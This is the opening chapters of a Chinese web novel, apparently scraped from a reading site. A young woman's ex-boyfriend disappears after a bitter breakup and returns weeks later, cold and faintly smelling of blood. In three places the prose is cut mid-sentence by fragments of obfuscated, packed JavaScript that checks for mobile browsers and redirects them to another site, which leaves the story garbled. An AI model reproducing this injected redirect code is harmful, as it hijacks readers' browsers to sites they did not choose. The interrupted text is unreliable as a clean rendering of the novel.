《失踪的前男友回来了》 1. 第 1 章 “情况我们了解得很清楚,目前已经在调查了。他这周有联系过你吗?” “没有。我去他家里找过两次,也没见到人。” “你也别太担心,他毕竟是个成年人,说不定只是想躲起来一个人静静而已。” “希望是这样吧……” “行,那我们先走了,有消息会通知你的。” “麻烦您了。” 送走过来调查的警察后,郁言关上门,神色疲惫地回到客厅。 窗外雨下得很大,一眼望去黑沉沉的,雨点密集地打在玻璃上,让她本就糟糕的心情更加沉重。 今天是警察第二次上门调查。 和第一次一样,警察问询了贺舒流的人际情况、离开时的时间地点,以及那晚他们争吵时的种种细节。 郁言很希望他们能带来一些调查进展,可惜,还是一无所获。 虽然警察也说了,像贺舒流这样的成年人,失踪的可能性极低,但郁言还是无法控制自己不多想。 距离贺舒流失踪已经过了整整三周。 郁言和贺舒流交往了近半年,这是他第一次失联这么久。 更不用说是在发生那种事之后。 郁言很后悔。 如果早知道贺舒流会失踪,她一定不会跟他提分手。 至少不会用那么激烈的方式。 现在他不见了,到处找不到人,电话也打不通,她甚至不知道他是死是活。 她真的有点害怕了。 他究竟去了哪里?就算真的不想再和她有任何联系,至少也该回他自己的家吧? 他几乎没什么亲人,也从未提起过什么有关系密切的朋友。除了自己家,郁言想不到他还能去哪里。 如果贺舒流真的出了什么事,那她一定无法原谅自己。 看着马克杯上的裂痕,郁言不由又想起三周前那个混乱的夜晚。 那天是周五,她像往常一样关上电脑准备下班,部门领导突然叫住她。 “小郁,你这是要去哪儿?” “我回家。”郁言微顿了顿,“菲菲姐,还有事吗?” 他们没有加班的传统,她不知道对方这个时候叫住她是什么意思。 “当然有事啊。”陈菲菲笑道,“今天部门聚餐,你没看群消息吗?” 部门聚餐? 郁言愣了一下,后知后觉地回想起来。 群里之前好像的确通知过聚餐的消息,她当时只扫了一眼便没有多看了。 居然是今天么? 郁言想了想,还是决定拒绝。 这个时间贺舒流应该已经在做晚饭了,她又没有提前告诉他,他知道了多半要不高兴。 这家伙虽然平时大咧咧的,一副没心没肺的样子,但敏感的时候也是真敏感,尤其是在这些无关紧要的小事上。 郁言一般都会选择让让他。 没办法,谁让他做饭好吃呢。 “抱歉啊,菲菲姐。”郁言一脸歉意地说,“家里有人等我回去吃饭呢,我就不去啦。” “谁?男朋友?”陈菲菲促狭一笑,“哎呦,干嘛这么腻歪呀,和男朋友哪天不能一起吃饭?今天就陪陪我们吧。” “就是,我们大家都去,就你不去,这合适吗?”一旁偷听的同事也开玩笑,“难道你连菲菲姐的面子都不给了?” 话都说到这份上了,她再拒绝确实不太合适。 郁言略一思索,点头道:“好吧,那我跟他说一声。” 她给贺舒流发了信息,对方的反应和她猜测的差不多。虽然不太乐意,但也没有多说什么,只是发了个委屈流泪的狗狗表情包,叮嘱她早点回去。 幼稚。 郁言淡定地回了个表情包,然后收起手机,跟着同事们一起往外走。 之后她再也没有给他回过信息。 不是她不想回,而是实在腾不出手。 不知道是不是陈菲菲自己馋了,今天这顿非常丰盛,还有不少带壳的海鲜,郁言吃得相当认真,两只手全程就没停下来。 再加上同事们今天的情绪都很高涨,一个个像开了话匣子似的说个没完,郁言一边忙着吃,一边时不时聆听应和几句,真的没空看手机。 聚餐一直到十点多才结束,不少人喝得醉醺醺的,郁言没喝多少,但也有点脸红。 “小郁,你怎么回去?”陈菲菲笑着问她。 郁言看了眼手机:“坐地铁吧。” 屏幕上密密麻麻的未读消息,不用看也知道这些消息来自谁。 她得快点回去了。 “这么晚了,你一个女孩子不安全,还是找个人送你回去吧。”陈菲菲说着,扭头看向身后,“你们两个有谁顺路?方便的话……” 她还没说完,站在左边的男同事开口接道:“我来吧,我晚上没喝酒。” 郁言立即婉拒:“不用了,我自己可以回去。” “没事儿,林让做事很靠谱的,开车也稳,你不用担心。”菲菲姐拍拍她的肩膀,“就这么决定了啊,可不许再推辞了,不然我把你打晕塞车里。” 郁言很无奈。 林让这个人她平时接触得不多,不过听说人品还行,也挺会来事儿的,在同事中颇受欢迎。 只能这样了……大不了下周请他喝咖啡吧。 郁言没有再多说什么,道了声谢便跟着林让上了车。 一路上林让很识趣地认真开车,没怎么硬找话题,郁言终于可以空下来看信息。 虽然贺舒流没有发语音,但隔着屏幕她都能看出他的焦躁。 从一开始的“开吃了吗”,到撒娇似的“我想你了”,再到后面明显急切的“还没有结束吗”…… 郁言没有数他究竟发了多少条消息,因为根本数不过来。 简直就像一只患有严重分离焦虑的小狗。 郁言忍不住叹气,回了条信息。 “在路上了。” “真的?”对面秒回,“那我下楼等你!” 真的是狗。 郁言想象了下那个画面,不由弯了下嘴角。 前排开车的林让从后视镜里看她,突然开口:“男朋友在催了?” “嗯。”郁言平复嘴角,“他有点担心。” 林让好笑道:“担心什么?担心你和其他异性接触吗?” 郁言不太想和他聊这种话题:“只是担心我的人身安全罢了。” “他想太多了吧?”林让开玩笑道,“他知道我们是部门聚餐吗?” “知道。”郁言又看了眼时间。 “那他对你还挺不放心的。”林让微妙地停顿一下,“我以前也谈过这种类型的对象,我每次出去她都要问东问西,生怕我在外面乱搞……” 郁言心不在焉地顺着他的话问下去:“所以你乱搞了吗?” “呃?当然没有!”林让立即否认。 郁言应了一声,视线一直落在闪烁的手机屏幕上。 这家伙怎么还在发信息。 “不过,我们最后还是分手了。”林让从后视镜偷看她柔和清丽的侧脸,“你知道的,和这种人相处,时间越长越心累……” 这跟她有什么关系? 郁言有点反感,索性保持沉默,不再接话。 林让见她没回应,也没再说下去,继续开车。 20分钟后,他们终于在小区大门外停下。 郁言开门下车,本想跟林让挥手道别,没想到林让也下车了。 “我送你进去吧。”林让说,“我看新闻说最近有不少变态会躲在小区里,专门蹲守年轻女性,你一个人进去我不放心。” “不用了。”郁言摇头,“我们小区治安还行,变态进不来的。” “那至少让我送你到楼下吧?”林让为难地挠了挠头,“不然菲菲姐会骂我的……” 郁言不太喜欢他这种过度的热心。 她微不可察地蹙了下眉,正要拒绝,身后突然传来一道熟悉的声音。 “言言,这家伙是谁?” 郁言立即转头,树下走出一个高挑挺拔的青年,正是她的男朋友贺舒流。 他只穿了最普通的黑色背心和长裤,外面套一件米白衬衫,袖子松垮垮挽起来,看起来懒散又随意。 郁言有点惊讶:“不是说在楼下等我吗?” “我想快点见到你。”贺舒流走过来,眼神很委屈,扫向林让的瞬间又冷下来,“你是什么人,谁允许你缠着我女朋友?” 林让一愣,在看清对方的长相后,妒意油然而生。 他没想到郁言的男朋友居然长得这么好。 个子比他高出一截也就算了,身材比例还特好,一眼望过去全是腿。更过分的是脸也优越,五官立体又精致,即使是最不起眼的衬衫背心,也能穿出独具一格的气质。 林让恨自己今天出门没加一双增高鞋垫。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16098938|179762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“说话注意点,人家是我同事。”郁言横了贺舒流一眼,“是人家好心送我回来的,不然我现在还在地铁上呢。” “好心?”贺舒流讥笑一声,“我看是贼心吧?” 郁言:“别乱说话。” 她开始后悔为什么刚才没有及时把他拖走。 林让迅速瞄了她一眼,脸上露出一种介于心虚与狼狈之间的微妙表情。他故作大度地摆摆手,解释道:“没事,我能理解。但我只是……” “理解还不快滚?”贺舒流抬起下巴,不客气地打断他。 林让:“……” 他干咳两声,转身打开车门,尴尬地说:“那什么,没什么事我就先回去了……” 说完不等郁言回应,便迫不及待调转车头,一踩油门消失在茫茫夜色中。 郁言沉默了。 她没想到贺舒流说话这么难听,也没想到林让居然真的就这么灰溜溜地滚了。 他回去不会跟部门其他人吐槽这件事吧? 一想到这个可能,郁言的心情顿时不太好。她看向贺舒流,对方也在看她,那双漆黑的瞳孔在路灯下清润透亮,刚才的讥讽与刻薄荡然无存。 他好像完全没有意识到自己做了什么。 他伸手想牵郁言的手,被郁言一把拍开。 “回家。”她冷冷丢下这句,转身往回走。 贺舒流微微歪头,似乎并不明白她为什么生气,但还是乖乖跟上。 已经11点多了,整个楼道里都很安静。 郁言将手指按在指纹锁上,感觉到贺舒流正紧紧跟在自己身后。 一进门,他就想拉她的手。郁言再次避开,同时一指客厅,示意他过去。 贺舒流眨了下眼:“你在生气吗?” 郁言怒极反笑:“不然呢?” 贺舒流清透的眼底流露一丝迷茫:“我不明白。我哪里惹你生气了?” 果然,他甚至没有意识到自己做了什么、做错了什么。 “刚才那个人是我同事。”郁言一字一句地说,“不管你有多不喜欢他,都不可以用那种态度对他。” 贺舒流静了几秒:“你生气是因为他?” “不是因为他,是因为你的行为。”郁言严肃地看着他,“你不应该这么做。这样太没有礼貌了。” 贺舒流面无表情:“对那种人不需要礼貌。” “所以你完全没觉得自己错了,对吧?” 贺舒流微愣,对上郁言的目光。 她双手抱臂,语气很平静,细眉却微微皱起。 这是真生气了。 贺舒流的态度立即软化下来。 他俯身靠近,见郁言没有后退,用鼻尖轻蹭了蹭她,然后轻声说道:“对不起,我以后会注意的。别生气了,好不好?” 他的鼻息很温暖,拂在她脸上,激起细密的、湿润的热度。 郁言觉得与他接触的地方有点痒,她本能地想蹭回去,但又忍住了。 她问:“如果再遇到这种事,你会怎么做?” 贺舒流抬手抚摸她柔顺的长发,低下头,轻嗅藏在她发间的淡淡酒味。 “我会跟你一起去,陪着你,不让任何有所企图的人接近你。” 郁言:“……” 她忍不住一把推开他:“你到底什么毛病?” 贺舒流一头雾水:“什么意思?” 郁言平时很少生气,也很少像这样质问他。他很想迅速领会她的情绪,但迫于经验太少,他实在很难在短时间内做到最好。 郁言看着他茫然的样子,突然感到一阵烦躁。 她想起林让在车上说的那些话,虽然令人反感,但不可否认的是,林让说得很对。 和贺舒流相处的确容易心累。 他总是会不分场合地给她发消息、时时刻刻黏着她、对她身边的一切异性充满敌意…… 她不知道这些行为是否正常,但她突然很累。 也许他们从一开始就不该在一起。 无论是性格还是三观,他们都完全不适合。之前是她一直在容忍,一直给自己洗脑恋人之间都是这样的,不正常的是她。 现在她受够了。 她不想再让另一个人影响她的生活,即使那个人是她的男朋友。 郁言深吸一口气,抬起眼睫,声线格外平静。 “我们分手吧。” 贺舒流一怔:“……什么?” 2. 第 2 章 “我说,”郁言冷静重复,“我们分手吧。” 贺舒流从怔忪中回神:“不要说这种话吓唬我……” “我没有吓唬你,我是认真的。”郁言说,“我们不合适,我早该意识到这一点的。” 贺舒流死死盯着她:“我没觉得我们哪里不合适。” “只是你没觉得而已。”郁言的语气透出一丝疲倦,“其实从一开始,我就觉得哪里不对劲。但那个时候我只以为是自己没有谈恋爱的经验,现在我才明白,问题根本不在这里……” “那问题在哪里?”贺舒流急迫地打断她,“你告诉我,我可以改,改到你满意为止……” “你改不了。”郁言陡然提高音量,“我让你不要黏着我,让你离我远点,让你不要打扰我的生活,你能做到吗?” 贺舒流愣住了。 郁言在说这番话时,表情格外冷漠,甚至带着些许厌烦,完全没有平日一点温和柔软的样子。 与她结识不深的人大多会以为她是个和善好相处的人,但只有深入相处了才知道,她这个人其实很有距离感,一旦决定和你划清界限,就绝对不会再有回转的可能。 贺舒流的神色逐渐慌乱,原本急切的语调变得小心翼翼。 “为什么?”他的睫毛轻微颤动了一下,“……你不喜欢我了吗?” 郁言不想把话说得太绝,但她知道,以贺舒流死缠烂打的性格,如果不说清楚,他是不会死心的。 “我从来都没喜欢过你。”她淡淡道,“我只是想试试谈恋爱的感觉,刚好你出现了,仅此而已。” 她说的基本都是实话。 她并不擅长与别人建立亲密关系,也从不期待未来会和谁组成一个全新、和谐的家庭。 她不知道该如何去爱一个人,也不具备这项看似简单的技能。 曾经贺舒流让她觉得,自己或许可以试试,但现在她明白了,她还是做不到。 她对贺舒流自始至终都没有喜欢,或许有一些好感,但那最多也只能让他们做朋友,绝不能支撑他们成为恋人。 贺舒流的脸色迅速苍白。 他伤心了。 看着他下垂的眼尾,郁言有一瞬间的心软。但她很快克制住了。 她知道自己不能心软,她已经受够这种被黏得几乎喘不上气的日子。 必须结束这段错误的关系。 “如果你已经听明白我的意思,就趁早离开吧。”郁言后退一步,和他拉开距离,同时看了眼窗外,“再晚就打不到车了。” 客厅里骤然静了下来。 这句话的意思很明显,她在撵他走。 气氛一时变得格外压抑。不知过了多久,贺舒流低低开口。 “但我不想和你分开。” 他的声音似乎有些哽咽,郁言心里一动,抬起视线。 贺舒流正直勾勾地看着她。 郁言发现他眼眶发红,睫毛微闪,眼底隐约有泪光闪动。 他居然……哭了? 郁言感到前所未有的震惊。 交往半年,这是她第一次见到他哭。在此之前,她从未想象过他流泪的样子,毕竟他总是随心所欲、没心没肺,她根本想象不出他哭会是什么样子。 现在她看到了,在她最不想看到的时候。 “这不是你不想就可以撤回的事情。”郁言移开视线,不去看他的眼睛,“快走吧,我今天很累,不想再和你纠缠了。” 贺舒流没有动。 他个子很高,站着不动的时候,身形在灯光下拖出长长的影子,有种说不出的落寞。 郁言发现自己又在可怜他了。 不能这样,必须强硬起来。 她看向身后,径直走到餐桌前,环视一圈,拿起桌上的马克杯。 这个杯子是她和贺舒流约会时在陶艺体验店一起捏的,她很喜欢上面的小狗图案,每天都用它喝水。 郁言拿着杯子走到贺舒流面前,隔了大概两米的距离,将杯子用力一摔。 “啪”一声脆响,马克杯摔成两半,一些细小的碎片飞溅开来,郁言下意识后退。 贺舒流顿时紧张地想要上前:“你没事吧?” 郁言没有回答,只是冷冷地问:“你走不走?” 贺舒流脚步一顿,抿紧嘴唇。他近乎乞求地看着她,湿漉漉的眼睛朦胧一片,映出她过分冷漠的面孔。 郁言对上他的目光,与他无声对峙。 贺舒流什么都没再说。 在眼泪落下之前,他转身离开了。 郁言看着他走出去,听着楼道里的脚步声越来越远,却没有一点如释重负的感觉。 好像自己在欺负他一样。 郁言揉了揉眉心,长叹一口气,将碎裂的马克杯一片片捡起来。 自那以后,贺舒流就从她的生活里彻底消失了。 她没有再收到过他的一条信息、一通电话,没有再在家里闻到诱人的饭香,也没有再在楼下见过他的身影。 她又回归了久违的独居生活,但总觉得哪里不对劲。 这种奇怪的感觉一直持续到分手后的第二周,她无意中打开云领养App,发现贺舒流云养的那只猫又开放领养了。 郁言心底的怪异感瞬间涌现出来。 这个App她和贺舒流都在用,她在上面云养了一只小狗,贺舒流则云养了一只猫。 他们都很喜欢云领养的这两只小动物,从开始云养到现在,已经持续了将近三个月。 这个平台的云养规则是每周支付一次费用,如果停止支付,那么之前云养的小动物就会再次开放领养。 郁言觉得,就算贺舒流心情再不好,应该也不会忘记这件事。 但他云养的那只猫已经重新开放领养,这就说明,他至少有一周没有登录这个App了。 他现在究竟是什么情况? 意识到不对劲后,郁言很难不去多想。 她试着给贺舒流发了条信息,发现对方并没有把她拉黑,但也没有回复她。 她又给他打了通电话,结果同样如此。 他就像真的消失了一样,一下子断了所有联系。 郁言越想越不放心,索性去他家里找人。 令她心慌的是,贺舒流并不在家。郁言去问了上下楼的住户,得到的回复要么是不清楚,要么就是已经很久没看到他了。 他究竟去哪儿了? 郁言到处找不到人,当天就去警局报了警。 警察一开始不想搭理她,只说她不是失踪者的直系亲属,抛出一句“让亲属来报案”就把她打发了。第二天她又去,告诉他们贺舒流没有直系亲属,她就是他最亲密的人,警方这才立案调查。 即便如此,贺舒流依然没有消息。 从警方立案调查到现在已经过去整整一周,在这一周里,郁言每天都吃得少、睡不好,做什么事都心不在焉。 她把摔碎的马克杯重新粘好,密切关注与人口失踪有关的各种报道,甚至和贺舒流家的小区物业打了关照,让他们一见到他就给她打电话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16098939|179762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她甚至开始反思。 虽然贺舒流那晚也有做得不对的地方,但她说的话还是太狠了。 她不应该说自己从来都没喜欢过他,就算是实话,听起来也很伤人。 他只是太黏人而已。 其实她并不讨厌,只是不习惯、不适应,毕竟她一个人过惯了,很难在短期内接受另一个人进入自己的生活。 就像她说的,他们只是性格不合适。 她可以心平气和地告诉他,完全没有必要那么极端。 更不用说她还非常恶劣地把他撵走了。 那会儿已经过了夜里12点,地铁和公交都停运了,贺舒流自己又没开车,想回去只能打车。 郁言这几天看了太多新闻,其中有不少就是出租车司机激情杀人的案件,还有被人抓走割腰子的,还有被卖到境外的…… 郁言越看越心惊,恨不得住进警局,24小时盯着警察找人。 但她也明白,催得太紧只会妨碍警方调查。 她现在唯一能做的就是等待。 外面的雨越下越大了,雷声轰鸣,闪电时不时划破夜空,整个城市浸泡在无尽的雨水中。 郁言蹲坐在沙发上,抱着膝盖,一动不动地看着电子钟上的数字。 已经凌晨两点了,但是完全没有困意。 贺舒流现在在做什么? 这么大的雨,他会去哪里? 他能去哪里? 郁言第一次发现,等待竟然是如此煎熬的一件事。 不行。她得再去贺舒流家里看看。 郁言的行动力一向很强。 做好决定后,她起身去拿雨伞,又从包里翻出贺舒流家的钥匙,将钥匙和手机放进口袋,向玄关走去。 就在这时,一道敲门声响起。 叩、叩、叩。 敲门声很低,节奏缓慢,几乎被嘈杂的雨声掩盖。 但郁言听到了。 她心里一紧,莫名起了一身鸡皮疙瘩。 大半夜的,外面还下着这么大的雨,谁会来找她? 物业?楼下的住户?还是警察? 郁言觉得这三种可能性都不大。 那还能是谁? 难道是……贺舒流? 郁言的心跳突然加快了。 她知道这个可能性比刚才那几种还要小,但除了贺舒流,她想不到还有谁会在这种时候找她。 她打开监控摄像头,试图查看门外的情况。 糟糕的是,监控摄像头里一片灰暗,什么都看不到。 郁言看了下物业群,这才发现他们这片区十点后就断网了,原因是暴雨造成的网络故障,要等雨停才能恢复。 敲门声再次响起,郁言思索几秒,转身回厨房拿了把菜刀。 刀身雪亮,刀刃锋利,映出她略显紧张的神情。 无论门外是谁,小心点总没错。 郁言握紧刀柄,走到门前,另一只手慢慢摸上门把。 啪嗒一声,她谨慎地打开门。灯光泄透出去,照亮了昏暗的楼道。 门外,黑发黑眼的青年静静站在阴影里。 他全身湿透,额发凌乱,雨水顺着他的衣角、裤腿往下滴落,在地上形成浅浅的水洼。 他的脸色苍白,没有一丝血色。瞳孔漆黑而潮湿,如同静止的黑水,却在看到郁言的瞬间亮起。 “言言。” 无比熟悉、饱含爱意的语气。 郁言举刀的手停在半空:“……贺舒流?” 3. 第 3 章 郁言看着眼前的青年,震惊得说不出话。 真的是贺舒流。 他居然自己回来了。 郁言怔怔地注视他,见他全身都被雨淋透了,却还是用那双晶亮的眼睛眼巴巴地看着她,鼻子莫名有些发酸。 一定是她太害怕了。 贺舒流的目光在她脸上梭巡,炙热而深切,带着失而复得的渴望。 他嘴唇翕动,似乎想说点什么,余光忽然扫过她手里的菜刀。 郁言察觉到他的视线,立即将菜刀放下:“这是用来防坏人的。” 言下之意,他不是坏人。 贺舒流笑了,水珠顺着他的下巴滑落:“我吓到你了吗?” 郁言注意到他的声音不如往常清亮,有点艰涩的沙哑,像渴了许久。 “没有。”她摇摇头,“外面冷,先进来吧。” 其实她的确被他吓到了,但不是因为他的突然出现,而是因为他的消失。 好在他终于回来了——而且是活着回来。 郁言默默松了口气,侧身让贺舒流进屋。 他大概被雨淋了很久,进门时带起一阵幽微的冷意,凉飕飕的。 郁言忍不住又看了他一眼。 三周没见,他的头发似乎长了点,人也消瘦了点,显得下颌线条更加锋利清晰。 他的裤子与鞋和分手那晚穿的一样,上衣是一件棕色外套,上面沾满了斑驳的泥点。 郁言从没见他穿过这件外套。 是以前的旧衣服吗?还是这几天刚买的? 郁言没有继续猜下去,她现在没心思想这些。 “先去洗个澡吧。”她对贺舒流说,“衣服就在原来的地方,你可以再拿条干净的浴巾。” “好。”贺舒流轻轻应声,顺从地去卧室拿衣服。 郁言的心情有点复杂。 原本她是打算把贺舒流的衣服收拾好直接邮寄给他的,毕竟之前闹得那么不愉快,是个人都不会愿意再跟她见面。 结果衣服还没开始收拾,贺舒流就失踪了,这件事也就搁置了下来。 没想到现在又派上用场了。 趁着贺舒流洗澡的时间,郁言将客房简单收拾了一下,又拿了一床干净的被子出来。 之前跟贺舒流同居的时候,两人晚上都是睡在一起的,所以这间客房也就从未用过。但现在他们已经分手了,继续睡一间房多少有点尴尬,还是分开比较好。 不过,贺舒流今晚也不一定会留下来…… 就在郁言默默琢磨的时候,浴室门打开了。 “言言?”她听见贺舒流在找她。 “我在这里。” 郁言放下被子,转身刚要往外走,一道阴影突然笼罩下来。 郁言一惊,差点撞上去。 “小心。”贺舒流一把握住她的手腕,指尖湿润而冰凉,带着未干的水汽。 郁言惊魂未定地抬眸看他。 这家伙走路怎么没声?? 大概是因为她只开了一盏台灯的缘故,客房光线很暗,将贺舒流的身形轮廓映衬得极其高大,犹如一道幽影,有种影影绰绰的压迫感。 郁言:“……你头发怎么没吹干?” 逆着光线,贺舒流的头发极黑,因为潮湿而微微蜷曲,湿漉漉地贴着脸颊,水珠在侧脸划出蜿蜒的水迹。 “我听到开门的声音,以为你出去了。” 贺舒流垂眸盯着她,修长有力的手指仍然扣在她的腕骨上,没有松开的意思。 “所以你头发也不吹,就出来找我了?”郁言有点无奈,“你也不看看现在几点了,外面还下着那么大的雨,我能去哪儿?” 贺舒流不说话,只是继续凝视着她。 他盯得太露骨了,郁言渐渐有些不自在。 总觉得……这家伙的分离焦虑似乎更严重了。 是发生什么事了么? 郁言抿了抿唇:“先去吹头发吧,我哪儿也不去。” 有了这句保证,贺舒流终于松开了她。 他留恋的目光从郁言脸上慢慢划过,接着转身走出客房,那股似有若无的压迫感也随之消失。 郁言忍不住摸了摸隐隐生疼的腕骨。 这家伙肯定是经历了什么不寻常的事,所以精神才会这么紧绷。 不会真的被拐卖了吧? 完全有可能啊,他身体这么健康,脸长得也好看…… 郁言越想越糟糕,甚至已经开始考虑要不要给贺舒流预约一位心理咨询师。 五分钟后,吹干头发的贺舒流从浴室出来了。 郁言坐在沙发上,与他目光相碰,接着,他径直走了过来。 郁言往沙发左侧挪了挪。 她没有忘记他们已经分手这件事,特意给他留出一大片空位。 但贺舒流似乎并未意识到这一点。 他在她身旁坐下,肩膀紧挨着她,像以前一样亲密。 郁言犹豫了下,最终还是没有提醒他。 算了,他毕竟刚被淋成落汤鸡,估计自己都没缓过劲来,就不计较这些了。 “你……” 郁言顿了顿,正想着从哪儿问起比较好,贺舒流已经先她一步出声了。 “嗯?”他看着茶几上粘好的马克杯,神色疑惑,“这个杯子,不是摔碎了么?” 郁言:“……” 早知道就把杯子收起来了。 “我看这杯子还能用,就找人修复了一下。”她面不改色地撒谎。 总不能说她是因为良心不安所以才把杯子又粘了回去,那也太丢脸了,她说不出口。 贺舒流闻言,嘴角上扬,眼里又浮起星星点点的欣喜。 他不会以为她修复杯子,是想跟他复合吧? 郁言本想解释一下,但转念一想,贺舒流好不容易回来了,自己如果不小心又刺激到他,那后果可就不是她能承担的了。 保险起见,还是先不提分手这件事比较好。 郁言瞥了眼杯子旁的手机,试探道:“你收到我发给你的信息了吗?” “信息?”贺舒流停顿了一下,似乎在回忆,然后遗憾摇头,“没有,我手机没电了。” 郁言有点奇怪:“我一周前就给你发信息了,你手机一直没电吗?” “我去了一个信号不太好的地方。”贺舒流言简意赅地说,“那里充不了电。” “哪里?”郁言更疑惑了,“是山里吗?” 她想不到现代社会还有什么地方会连手机电都充不了。 贺舒流露出思索的神情:“算是吧。” 郁言盯着他看。 他长了一双无辜的狗狗眼,睫毛很长,瞳孔比常人还要黑,干净得没有一丝杂质。 很多时候,就算他什么都不做,仅凭这双眼睛,也能轻易取得别人的信任。 但郁言知道,他其实并没有看起来这么“纯真”。 当他不想对你坦诚的时候,就会垂敛眼睫,给出一个模棱两可的回复。 就比如现在。 看来他并不打算告诉她,他这段时间去了哪里。 意识到这点的郁言并未生气。 她不喜欢窥探别人的隐私,只要贺舒流没出事,她并不介意他对她保持距离。 郁言又安心了些,继续问道:“那你为什么半夜回来,还把自己搞成那个样子?” 之前进门的时候她就注意到了,他不仅全身湿透,裤子上还有很多泥泞和无法辨认的污渍,也不知道是怎么弄上去的。 “雨越下越大,我怕继续待在山上不安全,所以提前回来了。” 虽然嘴上说着危险,但贺舒流的表情却很平淡,甚至有些漫不经心。 郁言:“那你身上那些泥点……” “没事,只是下山时摔了一跤而已。”贺舒流无所谓地笑了一下,然后侧过头来看她,眼睛里闪动着湿亮的光芒。 “你是在关心我吗?” 郁言略微沉默:“我以为你出事了。” 贺舒流眨了下眼:“出事?” “嗯。”郁言认真地说,“我看你不回我信息,也没有给云养小猫续费,还以为你出了什么意外。” 贺舒流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16098940|179762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻言,眼神逐渐柔软:“如果我真的出了意外,你会怎么办?” 郁言:“我会报警。” 事实上,她已经报了,而且还是两次。 “只是报警吗?”贺舒流故作失望地叹了口气,“我还以为你会来找我。” 她刚才确实是打算出去找他来着。 郁言平静地说:“这种事还是交给专业的人来做比较好。” “但我想见你。”贺舒流定定地看着她,“分开的这段时间,我每时每刻都想见你。” 郁言不说话了。 贺舒流微微歪头,声音很轻:“你还在生我的气么?” 郁言不知道怎么回答才能让他明白。 其实她早就不生气了,但不生气并不代表他们还可以继续在一起。 他们真的不合适,她早在分手后的第一周就想得很清楚了。 她相信贺舒流很快也会想清楚。 “先不聊这些了,早点休息吧。”郁言起身,“明天还要上班呢。” 贺舒流露出失落的表情。 郁言假装没看见,刚要往卧室走,贺舒流忽然拉住她的手。 “我有点冷,可以和你一起睡吗?”他仰起脸看着她,目光充满恳求,“不会打扰你的。” 郁言本以为他只是想留下来,没想到他的要求更过分。 先不论这种要求合不合适,都一起睡了,怎么可能不打扰? 郁言很想这么说,但看着贺舒流可怜兮兮的样子,她实在不忍心拒绝。 “好吧。” 得到她的答复,贺舒流弯起眼睛,露出一个满足的笑容。 ……总觉得被这家伙套路了。 郁言不再搭理他,拿上睡衣去洗澡。 等她洗完上床,已经凌晨3点了。外面还在下雨,贺舒流将窗帘拉好,在她旁边躺下。 感觉到他盖上被子后,郁言关掉台灯,背对着他侧身躺好。 房间里一片漆黑。 郁言闭着眼,正在努力酝酿睡意,一只手忽然搭上她的腰。 轻轻的,凉凉的。不用想也知道是谁。 说好的不会打扰她呢? 郁言正要把这只手拿开,躺在她身后的贺舒流突然出声了。 “我今天差点以为自己要死了。” 他声音轻缓,伴随着窗外淅淅沥沥的雨声,有种意想不到的助眠效果。 郁言手上动作一顿,又放了回去。 “怎么,你遇到泥石流了吗?” “没有。”贺舒流似乎笑了,“只是被撞了一下。” “被什么撞了?” “人。” 郁言:“……” 被人撞了有什么好后怕的?难不成撞他的是超人? “那你受伤了吗?” 可能是贺舒流的声音太轻柔了,也可能是悬着的心终于放下来了,郁言开始昏昏欲睡。 “没有,”贺舒流的语调又低了些,“就是有点疼。” 郁言迷迷糊糊地问:“哪里疼?” 贺舒流没有回答。黑暗中,他无声靠近,下巴抵住她柔软的发顶。 “言言,”他轻声请求,“抱抱我吧。” 又得寸进尺了。 郁言这样想着,慢慢转过身,双手搂住他的腰,把头埋进他怀里。 他身上很冷,像在雨水里浸了很久。 郁言隐约听到他发出一声低低的叹息。 不会是碰到疼的地方了吧? 郁言不确定地松了松手,又被贺舒流按了回去。 他紧紧抱住她,腰背微弓,身体的每一处都与她紧密贴合。 郁言甚至觉得有点过紧了。 但她没有推开他。 她太累了,也太困了。 意识模糊间,她在贺舒流身上嗅到一丝若有若无的腥味。 掩藏在沐浴露的清香之下,像是雨水混合泥土的味道,又像是铁锈似的血腥味。 郁言下意识又嗅了嗅,越发昏沉的脑海里闪过一个疑问。 贺舒流又没受伤,哪来的血腥味? 4. 第 4 章 那点腥味实在太淡了,根本无法辨别。 困意像潮水般袭来,郁言没有多想,很快便沉沉睡去。 等她被闹钟吵醒,已经是第二天早上了。 她睁开眼,第一件事就是看向旁边。 贺舒流不在,被子整整齐齐地盖在她身上。客厅里传来诱人的香味,好像有人在做饭。 郁言起身下床,拉开窗帘看向窗外。 雨已经停了。 她穿好衣服,走出卧室,发现桌上已经摆好了热气腾腾的早餐。 两只煎得金黄的荷包蛋、两杯奶白色的豆浆、还有一盘软糯流蜜的蒸红薯。 简单又健康,分量刚好够两人吃完。 郁言闻到红薯的甜香,肚子开始咕咕作响。 贺舒流端着洗干净的小番茄从厨房出来,看到她站在桌前,表情有点惊讶:“这么快就醒了?” “嗯。”郁言没精打采,“闹钟响了……” 